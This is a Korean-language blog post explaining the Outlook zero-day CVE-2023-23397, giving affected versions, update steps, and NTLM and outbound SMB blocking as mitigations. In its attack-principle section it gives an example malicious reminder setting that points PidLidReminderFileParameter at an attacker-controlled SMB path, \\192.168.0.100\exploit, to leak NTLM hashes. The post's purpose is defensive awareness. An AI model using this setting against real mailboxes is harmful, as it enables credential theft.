Microsoft Outlook - 아웃룩 제로데이(Zero-day) 취약점 [CVE-2023-23397]

    마이크로소프트에서 제공하는 「아웃룩(Outlook)」 프로그램에서 「제로데이(Zero-day)」에 해당되는 취약점이 발견되어 보안 뉴스에서 큰 이슈가 되고 있습니다. 이 취약점「CVE-2023-23397」에 해당되면 아웃룩을 실행하고 특정 스팸성 메일을 수신받기만 해도 권한 상승으로 인한 사용자의 「개인정보 (ID, Password 등)」 해시(Hash)가 노출되어 악용될 소지가 있다는 뜻입니다. 최근의 스팸메일 패턴을 보면 대체로 본문에 악성코드나 랜섬웨어가 포함된 첨부파일이나 URL 등을 실행 또는 클릭하게 유도하는 게 목적이었기 때문에 스팸메일을 수신받더라도 메일을 읽기만 하는 것은 문제가 없었습니다. 하지만 이번 취약점은 아웃룩을 실행 및 메일을 수신받고 읽지 않아도 정보가 탈취당할 수 있습니다. 때문에 MS공식 사이트에서도 크리티컬 한 문제로 인식되어 바로 최신 업데이트 패치를 진행하였습니다. 그럼 좀 더 자세하게 알아보도록 하겠습니다.

    보안뉴스 및 문서 참고

    보안뉴스 : https://www.boannews.com/

    KISA 인터넷 보호나라 : https://www.boho.or.kr/

    MS 공식 홈페이지(MSRC Update 참고내용) : https://msrc.microsoft.com/update-guide/

    MS 공식 홈페이지(MSRC Blog 참고내용) : https://msrc.microsoft.com/blog/

    MS 공식 홈페이지(Office 보안 업데이트 릴리스) : https://learn.microsoft.com/ko-kr/officeupdates/

    MS 공식 홈페이지(수명 주기 정책) : https://learn.microsoft.com/ko-kr/lifecycle/

    MS 공식 홈페이지(GitHub 참고 내용) : https://microsoft.github.io/CSS-Exchange/

    ※ GitHub에서 제공하는 CVE-2023-23397 취약점 점검 스크립트(.PS1)는 MS Exchange Server / Online 사용자(관리자)에서만 해당되는 것으로 보임

    안랩(AhnLab) 공식 홈페이지(상세함) : https://asec.ahnlab.com/ko/49819/

    영향을 받는 버전[2023-03-20 작성 기준]

    MS 23-03월 정기 보안 업데이트 이전 Windows용 Microsoft Outlook 프로그램 모든 버전 포함

     

    ※  Android, iOS, MAC OS용 Outlook, Web Outlook 및 기타 MS365 서비스는 영향을 받지 않음


     대응방법

    웹용 아웃룩을 이용하거나 웹메일 서비스만 이용하시는 분들은 전혀 신경 쓰지 않으셔도 되지만 Windows OS에 마이크로소프트 Outlook 프로그램을 설치하셔서 이용하시는 분들은 「최신 업데이트」 하시는 방법밖에 없습니다. 「파일  ▷ Office 계정 ▷ 업데이트 옵션 ▷ 지금 업데이트 ▷ 최신입니다! (확인)」

     

    상단에 MS 공식 홈페이지(Office 보안 업데이트 릴리스) 접속해 보시면 「2023년 3월 14일」 기준으로 업데이트된 제품을 확인할 수 있습니다.

     

     

    필자는 공식 홈페이지에서 Microsoft 365 개인용 구독 제품을 월비용을 내고 이용하고 있습니다. 하단 「Outlook 정보」를 클릭하면 버전 빌드가 나오는데 「2303 빌드 16.0.16227.20038」 이런 식으로 확인이 가능합니다. 빌드뒤에 16.0 이면 실제 아웃룩으로 메일 발송 시 수신자의 헤더에도 「X-Mailer: Microsoft Outlook 16.0」의 형태로 확인할 수 있습니다. 즉 최소 아웃룩 2016 버전이상을 이용하고 있다고 보시면 됩니다. 버전 빌드가 최소 동급이거나 이상이어야 합니다. 만약 리스트에 없거나 수명 주기 정책에서 더 이상 지원을 하지 않는 제품이면 취약점에 계속 노출될 수 있으니 되도록 최신 정품을 이용하는 게 좋습니다.

     


    대응방법(구버전이나 업데이트 불가 시 임시조치)

    대략적으로 취약점 원리를 보면 Windows 네트워크에서 제공하는 「NTLM (NT LAN Manager)」 인증 프로토콜과 「SMB (Server Message Block) (TCP Port 445)」를 이용한 공격으로 둘 중 하나를 막는 것으로 보입니다. 필자도 완벽하게 파악하는 것은 아니므로 참고만 하시기 바랍니다.

     

    ◇ NTLM을 인증 메커니즘으로 사용하지 못하도록 보호된 사용자 보안 그룹에 사용자를 추가합니다.

    제가 알기로는 사용자 보안 그룹 설정은 Windows server에 하는 것으로 알고 있는데 일반 Windows 사용자는 어떻게 하라는지 내용이 없네요.

     

    그래서 제 개인적인 생각은 NTLM을 제한하는 가장 확실한 방법은 「로컬 그룹 정책 편집기」에서 보안 옵션을 설정하는 부분입니다. 실행에서 「gpedit.msc」 입력하여 편집기를 열거나 Windows 10, 11일 경우는 검색에서 「그룹 정책 편집」을 입력하여 접근하셔도 됩니다.

     

     

    「로컬 그룹 정책 편집기 ▷ 컴퓨터 구성 ▷ Windows 설정 ▷ 보안 설정 ▷ 로컬 정책 ▷ 보안 옵션」에서 다양한 보안 옵션이 있는데 그중 「네트워크 보안: NTLM 제한: 이 도메인에서 NTLM 인증」 메뉴를 보시면 됩니다. 조건이 몇 개 있어서 정확한 원리를 이해해야 적용을 할 수 있을 것으로 보입니다. 꼭 적용을 해야 하시는 분들이 있다면 먼저 모두거부로 해보시고 사용 문제가 없다면 그대로 적용하고 문제가 있다면 원복(사용 안 함) 하시면 될 것 같습니다. ※ 적용(거부) 시에는 NTLM이 필요한 애플리케이션에 영향을 미칠 수 있습니다. 필자는 적용(모두거부) 해보았는데 특별히 안 되는 부분은 아직 없었습니다.

     

     

    ◇ 네트워크에서 TCP 445/SMB 아웃바운드를 차단한다.

    경계 방화벽, 로컬 방화벽 및 VPN 설정등을 통해 네트워크에서 나가는(아웃바운드) TCP 445/SMB를 차단하라는 내용입니다. 이렇게 하면 NTLM 요청이 들어오더라도 최종적으로 인증 메시지가 원격(공격자 서버) 파일 공유로 전송되지 않게 하는 방법입니다.

     

    일반 Windows 사용자는 「고급 보안이 포함된 Windows Defender 방화벽」에서 아웃바운드 설정에 추가를 해주시면 됩니다. 똑같이 실행에서 「firewall.cpl」 입력하여 Windows Defender 방화벽 접근 후 「고급 설정」을 클릭하거나 Windows 10, 11일 경우는 검색에서 「고급 보안이 포함된 Windows Defender 방화벽」을 입력하여 접근하셔도 됩니다.

     

    순서대로, 「아웃바운드 규칙 새 규칙 클릭 ▷ 규칙 종류 포트 선택 ▷ 규칙 TCP 선택특정 원격 포트 445 입력연결 차단 선택 ▷ 이 규칙 적용 도메인, 개인, 공용 기본 선택이름, 설명 임의 입력 ▷ 아웃바운드 규칙 추가 확인」

     

    해당 방법은 개인 PC 로컬에 적용하는 방법이며, 별도의 앞단 방화벽이 있거나 VPN을 이용하는 경우 추가 적용해 주시면 됩니다. ※ 적용(차단) 시에는 파일 및 프린터 공유를 통한 서버 메시지 블록(SMB) 전송 및 수신이 막힐 수 있습니다. HTTPS(443)를 통한 WebDAV나 네트워크 프린터 인쇄 등에는 문제없습니다.


    공격 원리

    아웃룩 프로그램 「캘린더」에는 내 약속을 알리는 「미리 알림」 기능이 있습니다. 아래는 정상적인 미리 알림 기능을 사용했을 때 나오는 예시 화면입니다.

     

    이거만 보시면 왜 발생하시는지 이해가 안되실 수 있는데, 수신받은 알람 메일을 선택해서 마우스로 바탕화면에 드래그 앤 드롭을 해보시면 아웃룩 메일 확장자는 「메일제목.MSG」 형태로 저장이 되는 것을 알 수 있습니다.

     

     

    이걸 토대로 다시 정리해 보면

    ◇ 공격자는 악의적으로 작성된 미리 알림 메일「MSG」을 수신자에게 무작위로 발송한다.

     

    ◇ 취약점에 해당되는 Outlook 프로그램을 사용하는 수신자가 메일을 받는다. 메일을 읽지 않아도 해당 악성 메일을 수신받았다면 아웃룩이 실행만 되어 있어도 「미리 알림」 또는 「지연 알림」이 발생한다.

     

    ◇ 이때 메일「MSG」 내 포함되어 있는 MAPI의 PidLidReminderFileParameter 값은 공격자가 제어 가능한 SMB 서버로, PidLidReminderOverride 값은 true로 구성하여 전송하면, 수신받은 상대는 아무런 상호작용 없이 취약점에 노출된다.

    「PidLidReminderFileParameter」 = 해당 개체에 대한 미리 알림 기한이 지난 경우 클라이언트가 재생해야 하는 소리의 파일 이름 경로(UNC)를 지정합니다.

    「PidLidReminderOverride」 = PidLidReminderFileParameter 속성의 값을 신뢰(True)할 것인지 여부를 지정합니다.

     

    ※ 프로퍼티 사용 예시

    PidLidReminderFileParameter = @"\\192.168.0.100\exploit";  (공격자 SMB 서버)

    PidLidReminderOverride = true;  (위 속성을 신뢰)

    좀 더 쉽게 풀어서 얘기하면 알림이 뜨면 사운드로 소리가 나는데 이 재생할 사운드의 파일 위치를 공격자가 제어하는 SMB 서버에 강제로 인증하여 불러오도록 한다는 뜻입니다. 인증이 된다는 뜻은 결국 NTLM 협상 요청을 통해 Net-NTLMv2 해시가 유출되고 공격자는 이 해시를 다른 서비스로 전달하여 공격 대상자로 인증할 수 있다는 내용입니다.

     

    ◇ 용어 참고

    용어 이름 (클릭 시 MS공식 홈페이지 설명) 설명
    UNC(Universal Naming Convention) 컴퓨터 내의 공유 파일이 저장되어 있는 장치를 명시하지 않고서도, 그 파일을 확인하기 위한 방법. Windows에서는 웹사이트, 네트워크 위치 또는 FTP 사이트의 주소를 지정할때 아래와 같이 입력

    ※ 예시
    \\server\share (컴퓨터 내 공유 파일 경로를 지정)
    http://webserver/share (웹 공유)
    ftp://ftp.microsoft.com (ftp 사이트)
    SMB(Server Message Block) SMB(서버 메시지 블록) 프로토콜은 컴퓨터의 애플리케이션에서 파일을 읽고 쓸 수 있으며 컴퓨터 네트워크상의 서버 프로그램에서 서비스를 요청할 수 있도록 지원하는 네트워크 파일 공유 프로토콜, 즉 서로 다른 운영 체제 사이(Windows, Linux, Unix)에 파일을 공유할 수 있도록 한다. 대표적으로 「삼바(Samba)」 소프트웨어가 있다.
    NTLM (NT LAN Manager) Windows NTLM(Challenge/Response)은 Windows 운영 체제를 실행하는 시스템과 독립 실행형 시스템을 포함하는 네트워크에서 사용되는 인증 프로토콜. 최근에는 거의 쓰이지 않고 있으며 MS에서도 사용을 권장하지 않는다고 한다.

    ※ 실제 필자도 그룹 정책에서 네트워크 보안 NTLM 모두거부 제한으로 설정을 하고 이용중이나 일반사용에는 특별한 문제는 없어 보입니다. 어디까지나 개인적인 테스트이므로 실제 서버와 통신하는 Windows PC가 있다면 다르게 작용 할 수 있습니다.

    마치며

    최근 여기저기 보안 관련 문제가 많이 발생을 하고 있습니다. 오래된 프로그램을 사용하시는 분들은 이참에 최신 소프트웨어를 이용하거나 상시 업데이트를 신경 써야 할 것 같습니다. 필자도 웹메일이나 아웃룩 프로그램을 사용한 지 거의 10년이 다돼 가는데 이런 패턴은 또 처음 겪어보네요. 최대한 자세하게 설명하기 위해서 조금 늦게 포스팅을 하게 되었습니다. 새로운 내용이 추가되거나 수정할 수 있으니 참고하시기 바랍니다.

     

    ※ 운영 입장에서 작성을 하였으므로 개발자분께서 알고 있는 부분이랑 다를 수 있으며, 내용이 긴 만큼 오타나 잘못된 정보가 포함되어 있다면 지적 및 정보 공유 감사합니다.

    Designed by JB FACTORY